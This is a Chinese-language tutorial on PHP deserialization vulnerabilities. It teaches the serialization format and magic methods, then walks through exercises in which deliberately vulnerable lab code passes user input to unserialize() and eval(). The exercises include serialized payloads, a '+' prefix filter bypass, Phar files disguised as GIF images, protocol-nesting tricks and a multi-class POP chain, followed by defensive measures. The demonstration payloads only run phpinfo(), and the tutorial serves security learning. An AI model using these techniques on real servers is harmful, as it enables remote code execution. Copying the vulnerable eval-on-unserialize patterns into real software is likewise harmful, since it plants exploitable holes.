PHP反序列化入门手把手详解
字数 1878 2025-08-12 11:34:48

PHP反序列化漏洞详解与实战教学

一、序列化与反序列化基础

1. 基本概念

  • 序列化:将变量转换为可保存或传输的字符串的过程
  • 反序列化:在适当的时候把这个字符串再转化成原来的变量使用
  • 优点:可以轻松地存储和传输数据,使程序更具维护性

2. 序列化格式解析

示例序列化字符串:

O:6:"Person":3:{s:4:"name";s:3:"tom"; s:11:"Personage"; i:18; s:6:"*sex"; s:3:"boy";}

各部分的含义:

  • O:6:"Person":对象类型,类名长度为6,类名为"Person"
  • :3::3个成员属性
  • s:4:"name":字符串类型属性名,长度4
  • s:3:"tom":字符串类型属性值,长度3
  • s:11:"Personage":私有属性,属性名前加类名
  • i:18:整型属性值
  • s:6:"*sex":受保护属性,特征为*

3. 特殊属性处理

  • private属性:序列化为%00类名%00属性名%00为ASCII码为0的字符)
  • protected属性:序列化为%00*%00属性名

二、PHP魔术方法

魔术方法是在特定条件下自动调用的方法,在反序列化漏洞中起关键作用:

  1. __construct():构造函数,创建对象时调用
  2. __destruct():析构函数,对象销毁时调用
  3. __toString():对象被当做字符串时调用
  4. __invoke():对象被当做函数调用时触发
  5. __call():调用不可访问方法时触发
  6. __sleep():serialize()时调用,可指定要序列化的属性
  7. __wakeup():unserialize()时调用,用于初始化操作

三、反序列化漏洞基础练习

练习1:基础代码执行

环境代码

class one {
    var $b = 'phpinfo();';
    function action() {
        eval($this->b);
    }
}
$a = unserialize($_GET[1]);
$a->action();

攻击步骤

  1. 构造序列化payload:

    $a = new one();
    $a->b = "phpinfo();";
    echo serialize($a);
    

    输出:O:3:"one":1:{s:1:"b";s:10:"phpinfo();";}

  2. 通过GET参数触发:

    ?1=O:3:"one":1:{s:1:"b";s:10:"phpinfo();";}
    

练习2:利用魔术方法链

环境代码

class one {
    var $b = 'echo 123;';
    function action() {
        eval($this->b);
    }
}
class Student {
    var $a;
    function __destruct() {
        $this->a->action();
    }
}
unserialize($_GET[1]);

攻击步骤

  1. 构造对象链:

    $student = new Student();
    $one = new one();
    $one->b = "phpinfo();";
    $student->a = $one;
    echo serialize($student);
    

    输出:O:7:"Student":1:{s:1:"a";O:3:"one":1:{s:1:"b";s:10:"phpinfo();";}}

  2. 触发执行:

    ?1=O:7:"Student":1:{s:1:"a";O:3:"one":1:{s:1:"b";s:10:"phpinfo();";}}
    

四、反序列化绕过技巧

1. 数字前缀绕过

过滤代码

preg_match('/[oc]:\d+:/i',$data,$matches);
if(count($matches)) { die('Hacker!'); }

绕过方法
使用+代替数字(URL编码为%2b):

O:%2b4:"baby":1:{s:4:"file";s:5:"1.txt";}

五、Phar文件反序列化

1. Phar文件结构

  1. stub:文件标识,必须以__HALT_COMPILER();?>结尾
  2. manifest:存储序列化的meta-data(漏洞利用核心)
  3. content:被压缩文件内容
  4. signature(可选):签名

2. 生成Phar文件

环境配置

  • PHP >= 5.2
  • php.ini中设置phar.readonly = Off

生成代码

class AnyClass {
    var $output = 'phpinfo();';
    function __destruct() {
        eval($this->output);
    }
}
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$o = new AnyClass();
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

3. Phar利用条件

  1. Phar文件能上传到服务器
  2. 有可用的魔术方法作为"跳板"
  3. 文件操作函数参数可控,且./../phar等特殊字符未被过滤

4. 可利用的文件操作函数

包括但不限于:

  • file_exists()
  • is_dir()
  • file_get_contents()
  • fopen()
  • stat()
  • 等大部分文件系统函数

5. 绕过技巧

  1. 协议嵌套

    compress.bzip2://phar:///test.phar/test.txt
    php://filter/resource=phar:///test.phar/test.txt
    
  2. 修改文件头

    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
    
  3. 修改后缀名:将.phar改为.gif等允许上传的格式

六、综合实战案例

案例1:简单Phar利用

目标代码

class Files {
    var $b = 'echo ok;';
    function __destruct() {
        eval($this->b);
    }
}
is_dir('phar://phar.phar/test.txt');

攻击步骤

  1. 生成包含恶意代码的phar.phar文件
  2. 上传到服务器
  3. 访问目标URL触发反序列化

案例2:多魔术方法链利用

目标代码

class A {
    public $mod1;
    public function __destruct() {
        $this->mod1->test1();
    }
}
class B {
    public $mod1;
    public function test1() {
        $this->mod1->test2();
    }
}
class C {
    public $mod1;
    public function __call($test2, $arr) {
        $s1 = $this->mod1;
        $s1();
    }
}
class D {
    public $mod1;
    public function __invoke() {
        $this->mod2 = "字符串拼接" . $this->mod1;
    }
}
class E {
    public $str1;
    public function __toString() {
        $this->str1->get_flag();
        return "1";
    }
}
class GetFlag {
    public function get_flag() {
        echo "flag:" . "GG的love";
    }
}
unserialize($_GET['string']);

攻击链构造

  1. A的__destruct()调用B的test1()
  2. B的test1()调用C的__call()
  3. C的__call()调用D的__invoke()
  4. D的__invoke()触发E的__toString()
  5. E的__toString()调用GetFlag的get_flag()

Payload构造

$c = new A();
$c->mod1 = new B();
$c->mod1->mod1 = new C();
$c->mod1->mod1->mod1 = new D();
$c->mod1->mod1->mod1->mod1 = new E();
$c->mod1->mod1->mod1->mod1->str1 = new GetFlag();
echo serialize($c);

七、防御措施

  1. 输入控制:不要直接将用户输入放入反序列化操作
  2. 参数过滤:对反序列化参数进行长度、特定字符等限制
  3. 白名单:限制可反序列化的类
  4. 鉴权:对反序列化接口进行权限控制
  5. 更新补丁:及时更新PHP版本,修复已知漏洞

八、总结

PHP反序列化漏洞的核心在于:

  1. 理解序列化格式和魔术方法的触发条件
  2. 构造恶意对象链利用魔术方法自动执行
  3. 通过Phar文件扩展攻击面,不依赖unserialize()函数
  4. 掌握各种绕过过滤的技巧

通过由浅入深的练习,可以全面掌握PHP反序列化漏洞的原理、利用方法和防御措施。

PHP反序列化漏洞详解与实战教学 一、序列化与反序列化基础 1. 基本概念 序列化 :将变量转换为可保存或传输的字符串的过程 反序列化 :在适当的时候把这个字符串再转化成原来的变量使用 优点 :可以轻松地存储和传输数据,使程序更具维护性 2. 序列化格式解析 示例序列化字符串: 各部分的含义: O:6:"Person" :对象类型,类名长度为6,类名为"Person" :3: :3个成员属性 s:4:"name" :字符串类型属性名,长度4 s:3:"tom" :字符串类型属性值,长度3 s:11:"Personage" :私有属性,属性名前加类名 i:18 :整型属性值 s:6:"*sex" :受保护属性,特征为 * 号 3. 特殊属性处理 private属性 :序列化为 %00类名%00属性名 ( %00 为ASCII码为0的字符) protected属性 :序列化为 %00*%00属性名 二、PHP魔术方法 魔术方法是在特定条件下自动调用的方法,在反序列化漏洞中起关键作用: __ construct() :构造函数,创建对象时调用 __ destruct() :析构函数,对象销毁时调用 __ toString() :对象被当做字符串时调用 __ invoke() :对象被当做函数调用时触发 __ call() :调用不可访问方法时触发 __ sleep() :serialize()时调用,可指定要序列化的属性 __ wakeup() :unserialize()时调用,用于初始化操作 三、反序列化漏洞基础练习 练习1:基础代码执行 环境代码 : 攻击步骤 : 构造序列化payload: 输出: O:3:"one":1:{s:1:"b";s:10:"phpinfo();";} 通过GET参数触发: 练习2:利用魔术方法链 环境代码 : 攻击步骤 : 构造对象链: 输出: O:7:"Student":1:{s:1:"a";O:3:"one":1:{s:1:"b";s:10:"phpinfo();";}} 触发执行: 四、反序列化绕过技巧 1. 数字前缀绕过 过滤代码 : 绕过方法 : 使用 + 代替数字(URL编码为 %2b ): 五、Phar文件反序列化 1. Phar文件结构 stub :文件标识,必须以 __HALT_COMPILER();?> 结尾 manifest :存储序列化的meta-data(漏洞利用核心) content :被压缩文件内容 signature (可选):签名 2. 生成Phar文件 环境配置 : PHP >= 5.2 php.ini中设置 phar.readonly = Off 生成代码 : 3. Phar利用条件 Phar文件能上传到服务器 有可用的魔术方法作为"跳板" 文件操作函数参数可控,且 ./ 、 ../ 、 phar 等特殊字符未被过滤 4. 可利用的文件操作函数 包括但不限于: file_ exists() is_ dir() file_ get_ contents() fopen() stat() 等大部分文件系统函数 5. 绕过技巧 协议嵌套 : 修改文件头 : 修改后缀名 :将.phar改为.gif等允许上传的格式 六、综合实战案例 案例1:简单Phar利用 目标代码 : 攻击步骤 : 生成包含恶意代码的phar.phar文件 上传到服务器 访问目标URL触发反序列化 案例2:多魔术方法链利用 目标代码 : 攻击链构造 : A的__ destruct()调用B的test1() B的test1()调用C的__ call() C的__ call()调用D的__ invoke() D的__ invoke()触发E的__ toString() E的__ toString()调用GetFlag的get_ flag() Payload构造 : 七、防御措施 输入控制 :不要直接将用户输入放入反序列化操作 参数过滤 :对反序列化参数进行长度、特定字符等限制 白名单 :限制可反序列化的类 鉴权 :对反序列化接口进行权限控制 更新补丁 :及时更新PHP版本,修复已知漏洞 八、总结 PHP反序列化漏洞的核心在于: 理解序列化格式和魔术方法的触发条件 构造恶意对象链利用魔术方法自动执行 通过Phar文件扩展攻击面,不依赖unserialize()函数 掌握各种绕过过滤的技巧 通过由浅入深的练习,可以全面掌握PHP反序列化漏洞的原理、利用方法和防御措施。